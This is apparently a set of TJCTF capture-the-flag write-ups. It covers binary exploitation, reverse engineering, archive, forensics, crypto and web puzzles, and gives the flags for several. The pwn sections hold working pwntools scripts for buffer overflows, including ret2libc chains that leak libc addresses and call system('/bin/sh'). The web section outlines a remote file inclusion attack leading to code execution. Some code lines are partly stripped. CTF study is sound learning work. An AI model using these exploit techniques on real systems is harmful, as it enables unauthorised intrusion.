I heard there’s someone selling shells? They seem to be out of stock though…

nc 8009






Static Analysis

main function gets() BoF

shell function


Since PIE is disabled and there is no stack canary, we can use ROP to shell function.

from pwn import *

pop_rdi = p64(0x0000000000400803)
junk = 'a' * 18
shell = p64(0x004006c7)
shell_ret = 'b' * 8
shell_input = p64(0xdeadcafebabebeef)
ret = p64(0x0000000000400803+1)

p = remote("", 8009)

p.sendline(junk + pop_rdi + shell_input + ret + shell + shell_ret)



My friend keeps talking about Old School RuneScape. He says he made a service to tell you about trees.

I don’t know what any of this means but this system sure looks old! It has like zero security features enabled…




At first, you might think that this was simple BoF where you write shell on a stack and return to the shell. Since in description they say they have zero security features enabled. Well ASLR is enabled so it won’t work. We know that it wont work because if you give invalid tree, you get pointer and you can see that it changes every time.

Since PIE is disabled, we can just do ROP to libc. This technique is explained in this post so I won’t be writing about it.

from pwn import *

context.update(arch='i386', os='linux')

is_local = False
write_file = True
if is_local:
	p = process("./osrs")
	libc = ELF("/usr/lib32/")
	p = remote("", 8006)
	libc = ELF("./") #
elf = ELF("./osrs")
rop = ROP(elf)

GOT_PUTS =["puts"]
PRINTF = elf.plt["puts"]
GET_TREE = elf.sym["get_tree"]
RET = rop.find_gadget(['ret'])[0]
JUNK = 'A' * 272
JUNK_ADDR = 'B' * 4

### First ROP ###
p.sendline(JUNK + p32(PRINTF) + p32(GET_TREE) +p32(GOT_PUTS))
LEAK_PUTS = p.recvline()
PUTS = u32(LEAK_PUTS[0:4])
print("LEAKED PUTS:" + hex(PUTS))

### Second ROP ###
offset_puts = libc.sym['puts']
offset_system = libc.sym['system']
offset_binsh = next("/bin/sh"))

SYSTEM = PUTS - (offset_puts - offset_system)
BINSH = PUTS + (offset_binsh - offset_puts)
p.sendline(JUNK + p32(SYSTEM) + JUNK_ADDR + p32(BINSH))



Aneesh wants to acquire a summer bod for beach week, but time is running out. Can you help him create a plan to attain his goal?

nc 8008



gym.bndb (Binary Ninja DB)


Looks like you start at 211 lbs and you are trying to hit 180 lbs

Then it goes all the way up to day 7 and tells you if you reached to certain weight or not.


Looking at disassembly, goal is to get to 0xb4(180)

Activity Effects

1weight = weight – 4
2weight = weight – 1
3weight = weight – 5
4weight = weight – 3

To get to 180 lbs from 211, we need to lose 31 lbs. And we get 7 days.

If you choose Activity 3 six times Activity 2 once, we should hit 31.

Zipped Up

Miscellaneous [70 pts]

It appears that the file in question has been zipped many times. Sure enough, when I click the link it downloads me a .zip file.

When unzipped, this file results in a folder named “0” and inside that folder, results another zipped file. This time, ending in .tar.bz2.

When I unzip this file, it results in another folder, named “1” and in that folder there is a file named 1.tar.

When this is unzipped, it reveals a .txt file and yet another file.

When opening the .txt, we get a flag – however, it claims it is not the flag.

It really is not the flag.

When I unzipped the file further, the pattern repeated. Every few unzips, there would be another .txt file with the same message.

Okay, so I have to write a script to make this process automated. Lets jump into linux.

I created a simple bash script that would do some terminal commands over and over. I made bash script, and then I made a loop.


while [ $MYNUM -le 999 ]

MYNUM=$(( $MYNUM + 1 ))

^ Basically, every time it loops, the variable MYNUM increases by one. Eventually, it will stop looping. It will repeat about a thousand times.

Okay, lets add some commands. At first I thought I would use the tar command to unzip the files, and gzip and bzip and the rest for their respective file extensions. However, I realized that that would just be troublesome – I don’t want to have to manage 3 or 4 different tools and commands to unzip each file, right? So I thought I might find a single tool that can unzip every file extension type. And of course, my favorite would be 7zip.

On linux, that would be p7zip, as the command line tool. Lets add it into the loop.

Basically, all this command does is it looks for any file in the immediate directory and attempts to unzip it.

7z x *.* -oA – 7z (command) x (extract to full path) *.* (wildcard . wildcard — any file name with any extension) -oA (create a new directory, named “A”)

Then we have to make a way for the terminal to change directory into that new folder. This way, when it repeats, it will unzip the new .zip instead of the old one.

However, notice how I specifically asked 7zip to create a new directory, every time? Wouldn’t the folder they create when unzipped normally be enough? Well, not exactly. I forgot to mention, but every so often, the zips did not contain a folder. They sometimes only contained the next .zip. This messes with my script, because then *.* no longer works, because there are two files. because of this problem, I made 7zip create a new directory every time. However, because of That, I will have to point my script to change directory twice.

cd */ (Changes directory to any immediate folder.)
cd */ (Changes directory to any immediate folder.)

However, we can’t quite run the script yet. Remember the .txt files, which contain a false flag? we need to get rid of those since if 7zip see two files in one directory, it cannot unzip *.*.

To do this, I simply used the mv command to move them into another directory. Since this has to happen before the 7zip command gets activated, I put it first in the loop.

mv *.txt /home/kali/Documents/txts/ (Moves any file that ends in .txt to a folder I created in my Documents directory)

And with that, its ready to run. Lets add all our files into a testing directory.

My script ^

Plus 4.tar.gz (Remember how I unzipped a few by hand to get an understanding of the contents? I still had it, so I just copied the lowest one down I had.)

lets jump into a terminal.

How you run the bash script ^

Now, you can’t see this in my screenshot, but the command is running extremely fast. I’s no more than a blur when I tried to take this screenshot.

After the command stopped working, and I was getting errors because “No such file or directory exists” on 7zip (meaning that I have unzipped them to the very last zip) I went back to examine my .txts.

There are 1001 items (I went back and added the first few, for aesthetics)

Now, lets find the one that does not contain the message “tjctf{n0t_th3_fl4g}”
Some people created yet another script to do this, but instead of doing that, I just sorted by size.

Hmmm, 829.txt has a different file size than the other 1000? how peculiar.

Oh, yeah. Its because it contains the flag.

Flag: tjctf{p3sky_z1p_f1L35}


Forensics [25 pts]

This problem is titled Hexillogoly, so right from the start we know it has something to do with Hex and Hexadecimal.

 Okay, lets open the link in a new tab. Its a png.


 Nothing too particular stands out, just some rather bland colors and shapes.

Originally, when I heard the word Hex my mind automatically went to hex editors. So I quickly jumped into my good friend and uploaded the image.


 Nothing really stands out, I see two repeating lengths in the hex, but I didn’t look too long at that. Of course, I did a quick Ctrl + F to search for the string ‘tjctf’ but found nothing.


 After a few minutes of searching and thinking, I nearly facepalmed myself in the head because I missed something really obvious. Hex doesn’t mean just hexadecimal used in files and memory. Hex can also be used as a format to store Colors in, on websites for example. “hurr durr let me open up this image in a hex editor and search the hexadecimal for clues hur durr”


Anyway, after my idiot phase ended I quickly opened up the image in Gimp and took a look at the colors it contained.


 I used the Color Picker tool to pick out the first greyish color, so I could view the color hex.


 In Gimp’s case, the Hex number is shown as ‘HTML notation’:


 I went online to color hex lookup site to verify that what I was looking at was the real color.


 After that, I simply copied the 6-digit number into a Hex-to-Ascii converter and


 ta-da! It begins to spell out the flag!

 Okay, lets repeat the process for the other colors. Grab the HTML notation of the middle shape next and enter it into the converter alongside the first one.


 It follows the pattern, so I continue.


 After I have entered all the colors into the converter, we are left with what appears to be a flag. It doesn’t seem to have a readable message in it, but when I tried it it worked. Here is the flag:


Flag: tjctf{pYJrfQK0dbaTPG}


 This problem is called RSABC.

I’d assume this problem has something to do with RSA. Just a guess. And It could maybe have something to do with the “ABC’s” of RSA. Who knows.

Lets click the links.

 The first link we get is a link to a very refreshing ASMR video of a medieval battle.  

 After a few minutes of relaxing, I opened the second link.

Here we find a familiar set of numbers, an N, an E, and a C.  

 So since we have everything, this shouldn’t be that hard to decipher.

After a few minutes of online searching, I cam across a stack overflow post where one guy suggested using a tool called RsaCtfTool

 Here is the link to it:

After I cloned it to my desktop on kali linux, I opened up a terminal. I cd into the directory of the tool.

 lets go back to the post to see how to format our command.

which explains to do it as python RSACtfTool – n {n} -e {e} –uncipher {c}

I replicate the command using the numbers we got from the challenge. Then I press enter.

Hmm, we got an error.

I figured I would try the command using python3 instead of python.

 It worked! The tool ‘unciphered’ the cipher. (Down there at the bottom)

Flag: tjctf{BOLm1QMWi3c}


 Okay, this problem is called Typewriter. Right off the bat we can tell its some kind of substitution cipher, as the description contains what looks like a full flag expect the letters have been jumbled.

(A substitution cipher is when one character is substituted for another.)

Substitution ciphers are generally easy because they usually follow some sort of rule.  

 The actual first thing I did was try to have my browser solve it automatically, there are plenty of online solvers. I tried for example, but that resulted in nothing. (I didn’t take any screenshots) 

Well, I guess I actually have to put in some effort. Taking another look at the description, it said that he was pranked and his typewriter’s keys had been re-arranged. As in, some kind of key-layout. So all we have to do is find out what that key layout was and reverse it.

Lets take a look at what we do know:  

 We know that zpezy really should turn into tjctf. So whatever alphabet they are using to substitute the characters, z maps to t and p maps to j etc. 

For a more visual viewing of this keymap, I edited an image of a QWERTYIUOP keyboard.

 taking what we know from above, I drew arrows point to the ‘switched’ keys. T maps to Z and J maps to P, etc.

 However, at this point, I did not notice any pattern whatsoever and I shelved the problem for a day until a hint came out. Regrettably, I had to use the hint to solve the problem, but in my defense, it was a really big hint.

 The hint says that a becomes q, b becomes w, c becomes e, f becomes y, j becomes p, t becomes z, and z becomes m. Did I notice a pattern in my head? I didn’t. So I went back and mapped the keys on my little diagram.

 Wait a second, I notice something – QWE all have letters switching to them. Lets see what they are:

 What, the numbers that replace Q,W, and E, are A,B, and C??? what are the chances??

Well, not really. Its pretty easy to tell at this point. The keyboard mapping had been switched out of the QWERTYIUOP layout and into an alphabetic layout, ABCDEFGEHIJ layout. Not a bad prank.

 So know we know out substitution alphabet. Lets go slam it into the converter.

I open up Cyberchef (Cyberchef OP btw) and paste in the garbled flag. Then I search for substitute and double click it to add it to the recipe.  

Now, we have to craft the recipe just right or it won’t work. I removed alphabets and added in my new ones. I put removed the Uppercase alphabets (there are no uppercase letters in the flag, so cyberchef won’t pick them up) and replaced the ciphertext alphabet with a normal, lowercase alphabet.

 then I added the first row of a QWERTYUIOP keyboard into the Plaintext alphabet. Again, in lowercase)

 And instantly I see some of the letters start to change, for example, I see the zpezy{ turn into zjczf{.

Next, I added the middle row of the qwerty keyboard, and then the lower row of the keyboard into the plaintext alphabet.

And it looks like we have a flag. Some parts of it appear to still be garbled, but I submitted it and it worked.

Flag: tjctf{red_orange_purple_efgrirroiefe_pineapple_fruit_auhsdeuhfn}



I love playing stop, but I am tired of losing. Check out my new stop answer generator! It’s a work in progress and only has a few categories, but it’s 100% bug-free!




If we use pwn checksec on stop, we can see that there are no stack canary and no PIE. Since PIE is turned off, we can use ROP!

In main(), there is buffer over flow in read function. read(0x0, *(rbp-0x110), 0x256) It can read up to 0x256 when buffer is from rbp – 0x110.


First ROP

First we can leak the address of __libc_start_main by jumping to printf(GOT__libc_start_main) and then returning back to main so that we can use the GOT__libc_start_main to calculate system from libc.

Second ROP

With system location calculated, we can jump to system(/bin/sh)

Exploiting Remote Server

When you try to use this exploit remotely, we have to remind ourselves that their stack alignment is different due to env variable and etc. Stack should be aligned by 16. We can add RET instruction to buffer over flow to make it aligned. Also, their libc will be different, so we can use to look for their libc version with the leak __libc_start_main.


from pwn import *

### Settings ###
is_local = False

### Setup ###
if is_local:
    p = process("./stop")
    libc = ELF("/usr/lib/x86_64-linux-gnu/")
    p = remote("", 8001)

    # You can find that remote is using libc by using the leaked
    # __libc_start_main address in this website.
    libc = ELF("./")

elf = ELF("./stop")
rop = ROP(elf)

### First ROP ###

# JUNK contains all the main stack + RBP.
JUNK = 'A' * 282

PRINTF = elf.plt['printf']
GOT_LIBC_START_MAIN =['__libc_start_main']
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
MAIN = elf.sym['main']
RET = rop.find_gadget(['ret'])[0]

offset_libc_start_main = libc.sym['__libc_start_main']
offset_system = libc.sym['system']

# All these RET is not needed locally. But remotely you need them to make stack byte aligned by 16.
p.sendline(JUNK + p64(POP_RDI) + p64(GOT_LIBC_START_MAIN)  + p64(RET) + p64(PRINTF) + p64(RET) + p64(MAIN))
sleep(1) # Delay for send.

first_msg = p.recv()

# Had to mess around with received message. It should be something like 0x00007fXXXXXXXXXX.
LIBC_START_MAIN = u64(first_msg[-20:-14].ljust(8,'\x00'))
print("Leaked __libc_start_main: " + hex(LIBC_START_MAIN))

### Second ROP ###

SYSTEM = LIBC_START_MAIN + (offset_system - offset_libc_start_main)
BINSH = next("/bin/sh"))

p.sendline(JUNK + p64(RET) + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM))

second_msg = p.recv()


 This problem is titled “Circles” for 10 points. The flag evaded me for a while as did it many other teams, I’ve heard, resulting in it having fewer solves than many of the ‘tougher’ problems.

Lets have a look at the image. It appears to be some sort of substitution cipher where the letters have been replaced with circles. I can’t determine any hidden meaning within the circles, there doesn’t seem to be any remnants of English letters in them.

 A quick google search for circle cipher or circle text results in nothing. A Long google search resulted in nothing. These type of symbols being used as characters simply did not exist. (supposedly)

Lets take a look at the problem description. (You know, I actually had to have the hint tell me to do this – I didn’t actually take a good look at the description before this)

 It comprises of a rather strange sentence. That has to have a special meaning. Lets google it.

 Hmm, a Google search matches word for word the description of the problem located on a website Lets check it out.

 I searched for ‘circles’ but found nothing among the 8 results.

Okay, maybe there is a better description for the font. I search for ‘circular’ and the first result appears to match our cipher perfectly. Yay.

 After I click the page of the circular font, which I learn is called USF Circular Designs, I type in ‘tjctf’ into the test bar to see if it matches. It does, giving us the same first segment of what we see in the cipher image.

 Unfortunately there appears to be no “USF Circular Designs to Ascii” converter that I can find, so we’ll have to do this by hand.

When I click to see the full character map, to my dismay, I see it maps them to Unicode Code points instead of anything in English. (I can’t read Unicode Code Points)

Now we will have to yet another step by hand.

 Alright, lets look at the first unknown circle. It looks like, well, a circle. Looking back at the character map, my best guess is that it maps to the Unicode Code Point 0042.

 (looks like 0042)

 Okay now lets convert this Unicode Code Point into an ascii character. has just what we need. I enter 0042 in, and we get the character B (Capital B) as the result.

 So now we know that the flag starts as tjctf{B

The next character is this skip-sign, which maps to 0033.

 It turns out to really just be the number 3.

  The next one is 0061 and it turns out to be a lowercase a.

So now we have the flag so far as tjctf{B3a

 I repeat this process for the remainder of the circles in the cipher and it comes out as this:

And we have our flag.

Flag: tjctf{B3auT1ful_f0Nt}


Web [70 pts]

We first see a page containing text files, when we enter an input, we get directed to a location where there is a vulnerable search parameter.

Step 1

Originally, we can also do LFI + RCE for this but I did RFI + RCE instead, using Pastebin and the following php code:

Using the above code in a pastebin link gives us this result:

Step 2

We are interested in the directory “i_wonder_whats_in_here”, so our next payload will cat the contents of that directory:

Using this php payload in our pastebin and ?file= query, we look in page source and see the flag commented out: